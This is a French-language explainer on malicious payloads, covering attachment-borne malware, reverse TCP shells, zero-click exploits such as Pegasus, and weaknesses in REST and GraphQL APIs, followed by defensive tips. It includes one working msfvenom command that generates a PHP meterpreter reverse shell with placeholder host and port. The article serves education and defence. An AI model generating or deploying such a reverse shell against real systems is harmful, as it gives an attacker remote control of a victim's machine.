Une charge utile est un morceau de code qui s’exécute lorsque des hackers exploitent une vulnérabilité. Autrement dit, il s’agit d’un module d’exploitation. Elle se compose généralement de quelques commandes qui s’exécutent sur le système d’exploitation ciblé (par exemple, des enregistreurs de frappe) afin de voler des données et de mener d’autres actions malveillantes.
La plupart des opérations utilisent des charges utiles, mais il existe quelques attaques sans charge utile, comme les campagnes d’hameçonnage qui n’incluent ni liens malveillants ni logiciels malveillants, mais reposent sur une tromperie plus sophistiquée, comme l’usurpation d’identité pour piéger leurs cibles.
Comment les charges utiles sont exécutées
Il n’est pas rare de trouver des charges utiles malveillantes dans une pièce jointe. L’une des attaques les plus courantes consiste à envoyer des e-mails contenant un fichier .pdf joint, qui renferme une charge utile malveillante capable d’installer une porte dérobée.
La victime télécharge le fichier et double-clique dessus pour l’ouvrir, ce qui déclenche l’exécution du code en arrière-plan. Notez qu’une charge utile peut rester inactive jusqu’à son exécution ultérieure.
Une charge utile peut aussi se dissimuler dans un fichier non exécutable, comme une image, et se déclencher plus tard. La plupart des gens hésiteront moins à ouvrir des fichiers .png que des fichiers .zip ou .exe.
Les hackers disposent d’une réserve inépuisable de charges utiles pour infecter une machine. Vous pouvez même générer des charges utiles à l’aide d’une interface graphique, par exemple avec le framework Metasploit.
Les outils de tests d’intrusion peuvent générer une charge utile et, surtout, simuler des connexions entrantes avec la machine infectée une fois que le hacker y a pénétré. Il peut ensuite interagir avec l’ordinateur ciblé, notamment en prenant des captures d’écran, en manipulant le système de fichiers ou en accédant à la webcam.
La vulnérabilité persistante des utilisateurs face aux menaces véhiculées par e-mail rend des outils comme la formation des employés et les passerelles de messagerie indispensables à la cybersécurité — consultez nos sélections des meilleurs programmes de formation des employés à la cybersécurité et des meilleures passerelles web sécurisées.
Charges utiles et shell TCP inversé
Metasploit est pratique pour générer un shell inversé. La commande suivante génère un shell TCP inversé avec le framework Metasploit :
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > myshell.php
L’option -p désigne la charge utile.
Les attaquants l’utilisent pour prendre le contrôle d’une machine compromise via un shell interactif. La cible devient le serveur et l’attaquant, le client. Un écouteur permet de fournir un shell pour accéder à l’ordinateur de la victime lorsque celle-ci envoie une connexion TCP.
Même si un pare-feu est activé, il ne bloquera pas les connexions TCP sortantes. Le hacker utilisera les charges utiles installées sur la machine ciblée (par exemple, des chevaux de Troie) ainsi que la connexion TCP pour exécuter du code à distance.
Attaques sans clic et charges utiles
La plupart des attaques incitent la victime à cliquer sur un élément qui installe un logiciel malveillant ou la redirige vers un faux site web.
Les attaques sans clic, elles, n’en ont pas besoin. Elles contournent le facteur humain, et vous ne pouvez rien y faire. Une charge utile empoisonnée est envoyée à l’appareil ciblé via une connexion sans fil telle que le Wi-Fi, le Bluetooth, le GSM ou la LTE, puis elle est exécutée.
Elle exploite généralement des failles non corrigées et inconnues dans les logiciels (menaces « zero-day »), de sorte qu’aucune protection ni mesure d’analyse forensique ne soit possible. Ces hackers ne s’embarrassent pas d’ingénierie sociale ni de scénarios complexes dont le taux de réussite serait faible. Ils disposent déjà de portes dérobées.
Vous avez peut-être entendu parler du logiciel Pegasus créé par NSO Group. Ce logiciel exploite des failles zero-day dans des applications populaires (et installées par défaut) telles que WhatsApp, Telegram, Skype ou iMessage. Il peut même attaquer le firmware de la puce et fournir un accès root à l’appareil, ce qui lui confère davantage de privilèges et de capacités qu’à l’utilisateur.
Ces attaques peuvent être assez coûteuses et les logiciels ciblés finissent par être corrigés. Vous pourriez donc penser que le risque est relativement faible — et, dans bien des cas, vous auriez probablement raison.
Cependant, il est judicieux de protéger les données hautement sensibles dans un contexte professionnel ou autre contexte sensible. De plus, les acteurs de la cybercriminalité recherchent constamment de nouvelles failles zero-day à exploiter — et en trouvent. La vigilance et une solide posture défensive sont toujours nécessaires.
Le danger des points de terminaison d’API non sécurisés
Il n’y a pas grand-chose à faire contre les failles zero-day, mais vous pouvez vérifier vos points de terminaison d’API. Une API est une interface destinée aux programmeurs. Elle expose des données précieuses que les applications peuvent utiliser. La plupart des entreprises utilisent des API RESTful, mais GraphQL est devenu très populaire ces dernières années.
REST est une architecture client-serveur standardisée pour les API, dans laquelle les ressources peuvent être récupérées à des URL précises. Le client peut utiliser les API REST pour obtenir des données (GET), mais aussi pour créer de nouvelles entrées, modifier celles qui existent (POST, PUT) et en supprimer certaines (DELETE).
La conception des URI suit des normes et des conventions. Chaque ressource peut être récupérée à des points de terminaison précis. Par exemple, si je veux toutes les commandes, je peux récupérer https://myapi.com/v1/orders, mais pour une commande en particulier, j’utiliserais https://myapi.com/v1/orders/1001001 à la place, où 1001001 est l’identifiant de la commande.
Les données de commande ne devraient évidemment pas être publiques, et le point de terminaison devrait être testé régulièrement. Dans le cas contraire, les hackers pourraient trouver un moyen de lire, d’ajouter, de modifier ou de supprimer des ressources en envoyant des charges utiles piégées.
GraphQL adopte une approche différente, avec un seul point de terminaison auquel on peut transmettre plusieurs requêtes et facilement croiser les données grâce à une syntaxe très pratique. Il présente de nombreux autres avantages, comme une meilleure validation des données grâce à des types plus stricts, et il est assez agréable à utiliser, mais il peut soulever des problèmes de sécurité :
- l’URL du point de terminaison /graphql par défaut est très largement utilisée, ce qui en fait une cible
- la fonctionnalité d’introspection révèle des informations non publiques et est parfois activée par erreur en production
- une profondeur excessive dans votre requête peut entraîner des surcharges et provoquer un DDoS (déni de service distribué) auto-infligé
- les failles d’autorisation sont assez courantes en raison de la complexité du schéma GraphQL
Les hackers mettront probablement votre point de terminaison GraphQL à l’épreuve et, à moins que vous ne soyez une plateforme publique comme GitHub, vous ne devriez probablement pas exposer vos API GraphQL publiquement.
Soyez particulièrement vigilant concernant la limitation du débit, que vous utilisiez des API RESTful ou GraphQL. Il s’agit d’un point critique qui peut mettre hors service l’infrastructure de votre serveur.
Comment se protéger contre les charges utiles
Vous pouvez appliquer toutes les bonnes pratiques essentielles en matière de sécurité, notamment, bien sûr, ne pas cliquer aveuglément sur les pièces jointes et les liens reçus par e-mail. Vous devriez également effectuer régulièrement des tests d’intrusion et corriger les vulnérabilités.
Sécurisez vos API, car c’est absolument essentiel pour votre entreprise. Cela implique que les développeurs utilisent uniquement des technologies robustes qu’ils maîtrisent, et non des frameworks à la mode susceptibles de créer des problèmes de sécurité lorsqu’ils sont mal configurés ou mal implémentés.
Pour aller plus loin : Les meilleurs outils de débogage et de sécurité du code





